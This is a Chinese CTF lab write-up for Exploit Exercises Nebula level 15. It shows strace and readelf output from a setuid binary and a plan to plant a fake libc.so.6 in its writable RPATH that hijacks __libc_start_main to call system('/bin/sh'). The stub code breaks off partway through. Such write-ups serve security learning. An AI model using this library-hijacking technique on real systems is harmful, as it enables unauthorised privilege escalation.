动态链接库劫持--libc
1 概述
动态链接库劫持,本文是做这个题目的笔记:Exploit Exercises - Nebula 15。
2 Exploit Exercises - Nebula 15
2.1 问题描述
根据题目的要求,我们需要用strace命令观察flag15的系统调用情况。
最终目标是通过这个程序拿到flag。
整个过程都是在调用一个叫libc.so.6的动态链接库:
level15@nebula:/home/flag15$ strace ./flag15 execve("./flag15", ["./flag15"], [/* 16 vars */]) = 0 brk(0) = 0x99ef000 access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory) mmap2(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb78c3000 access("/etc/ld.so.preload", R_OK) = -1 ENOENT (No such file or directory) open("/var/tmp/flag15/tls/i686/sse2/cmov/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory) stat64("/var/tmp/flag15/tls/i686/sse2/cmov", 0xbfc05494) = -1 ENOENT (No such file or directory) open("/var/tmp/flag15/tls/i686/sse2/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory) stat64("/var/tmp/flag15/tls/i686/sse2", 0xbfc05494) = -1 ENOENT (No such file or directory) open("/var/tmp/flag15/tls/i686/cmov/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory) stat64("/var/tmp/flag15/tls/i686/cmov", 0xbfc05494) = -1 ENOENT (No such file or directory) open("/var/tmp/flag15/tls/i686/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory) stat64("/var/tmp/flag15/tls/i686", 0xbfc05494) = -1 ENOENT (No such file or directory) open("/var/tmp/flag15/tls/sse2/cmov/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory) stat64("/var/tmp/flag15/tls/sse2/cmov", 0xbfc05494) = -1 ENOENT (No such file or directory) open("/var/tmp/flag15/tls/sse2/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory) stat64("/var/tmp/flag15/tls/sse2", 0xbfc05494) = -1 ENOENT (No such file or directory) open("/var/tmp/flag15/tls/cmov/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory) stat64("/var/tmp/flag15/tls/cmov", 0xbfc05494) = -1 ENOENT (No such file or directory) open("/var/tmp/flag15/tls/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory) stat64("/var/tmp/flag15/tls", 0xbfc05494) = -1 ENOENT (No such file or directory) open("/var/tmp/flag15/i686/sse2/cmov/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory) stat64("/var/tmp/flag15/i686/sse2/cmov", 0xbfc05494) = -1 ENOENT (No such file or directory) open("/var/tmp/flag15/i686/sse2/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory) stat64("/var/tmp/flag15/i686/sse2", 0xbfc05494) = -1 ENOENT (No such file or directory) open("/var/tmp/flag15/i686/cmov/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory) stat64("/var/tmp/flag15/i686/cmov", 0xbfc05494) = -1 ENOENT (No such file or directory) open("/var/tmp/flag15/i686/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory) stat64("/var/tmp/flag15/i686", 0xbfc05494) = -1 ENOENT (No such file or directory) open("/var/tmp/flag15/sse2/cmov/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory) stat64("/var/tmp/flag15/sse2/cmov", 0xbfc05494) = -1 ENOENT (No such file or directory) open("/var/tmp/flag15/sse2/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory) stat64("/var/tmp/flag15/sse2", 0xbfc05494) = -1 ENOENT (No such file or directory) open("/var/tmp/flag15/cmov/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory) stat64("/var/tmp/flag15/cmov", 0xbfc05494) = -1 ENOENT (No such file or directory) open("/var/tmp/flag15/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory) stat64("/var/tmp/flag15", {st_mode=S_IFDIR|0775, st_size=100, ...}) = 0 open("/etc/ld.so.cache", O_RDONLY) = 3 fstat64(3, {st_mode=S_IFREG|0644, st_size=33815, ...}) = 0 mmap2(NULL, 33815, PROT_READ, MAP_PRIVATE, 3, 0) = 0xb78ba000 close(3) = 0 access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory) open("/lib/i386-linux-gnu/libc.so.6", O_RDONLY) = 3 read(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0p\222\1\0004\0\0\0"..., 512) = 512 fstat64(3, {st_mode=S_IFREG|0755, st_size=1544392, ...}) = 0 mmap2(NULL, 1554968, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x4fe000 mmap2(0x674000, 12288, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x176) = 0x674000 mmap2(0x677000, 10776, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x677000 close(3) = 0 mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb78b9000 set_thread_area({entry_number:-1 -> 6, base_addr:0xb78b98d0, limit:1048575, seg_32bit:1, contents:0, read_exec_only:0, limit_in_pages:1, seg_not_present:0, useable:1}) = 0 mprotect(0x674000, 8192, PROT_READ) = 0 mprotect(0x8049000, 4096, PROT_READ) = 0 mprotect(0xe86000, 4096, PROT_READ) = 0 munmap(0xb78ba000, 33815) = 0 fstat64(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 2), ...}) = 0 mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb78c2000 write(1, "strace it!\n", 11strace it! ) = 11 exit_group(11) = ? level15@nebula:/home/flag15$ |
2.2 思路
主要思路:
1. 生成libc.so.6
2. 劫持程序的导入函数或者利用_init函数
__libc_start_main
__gmon_start__
Puts
3. 劫持函数中可以执行system(“/bin/sh”)
4. System函数可以来自系统的libc.so.6,这需要静态链接libgcc;
5. System函数也可以是自定义实现的
为了实现目标,首先要知道SO的路径名称、导入表中有哪些信息
查看Dynamic section
可以看到名称为libc.so.6,路径为/var/tmp/flag15
level15@nebula:/home/flag15$ readelf -d ./flag15
Dynamic section at offset 0xf20 contains 21 entries: Tag Type Name/Value 0x00000001 (NEEDED) Shared library: [libc.so.6] 0x0000000f (RPATH) Library rpath: [/var/tmp/flag15] 0x0000000c (INIT) 0x80482c0 |
查看重定位表
可以看到导入了3个函数:puts、__gmon_start__、__libc_start_main;
level15@nebula:/var/tmp/flag15$ readelf -r /home/flag15/flag15
Relocation section '.rel.dyn' at offset 0x2a0 contains 1 entries: Offset Info Type Sym.Value Sym. Name 08049ff0 00000206 R_386_GLOB_DAT 00000000 __gmon_start__
Relocation section '.rel.plt' at offset 0x2a8 contains 3 entries: Offset Info Type Sym.Value Sym. Name 0804a000 00000107 R_386_JUMP_SLOT 00000000 puts 0804a004 00000207 R_386_JUMP_SLOT 00000000 __gmon_start__ 0804a008 00000307 R_386_JUMP_SLOT 00000000 __libc_start_main |
查看版本信息
level15@nebula:/home/flag15$ readelf -V ./flag15
Version symbols section '.gnu.version' contains 5 entries: Addr: 0000000008048276 Offset: 0x000276 Link: 5 (.dynsym) 000: 0 (*local*) 2 (GLIBC_2.0) 0 (*local*) 2 (GLIBC_2.0) 004: 1 (*global*)
Version needs section '.gnu.version_r' contains 1 entries: Addr: 0x0000000008048280 Offset: 0x000280 Link: 6 (.dynstr) 000000: Version: 1 File: libc.so.6 Cnt: 1 0x0010: Name: GLIBC_2.0 Flags: none Version: 2 |
2.3 劫持__libc_start_main
参考https://mike-boya.github.io/blog/2016/02/22/exploit-exercises-nebula-level15/
Dummy_libc.c
#include <stdlib.h>
int __libc_start_main(int (*main) (int, char * *, char * *), int argc, char * * ubp_av, void (*init) (void), void (*fini) (void), void (*rtld_fini) (void), void (* stack_end)) { system( |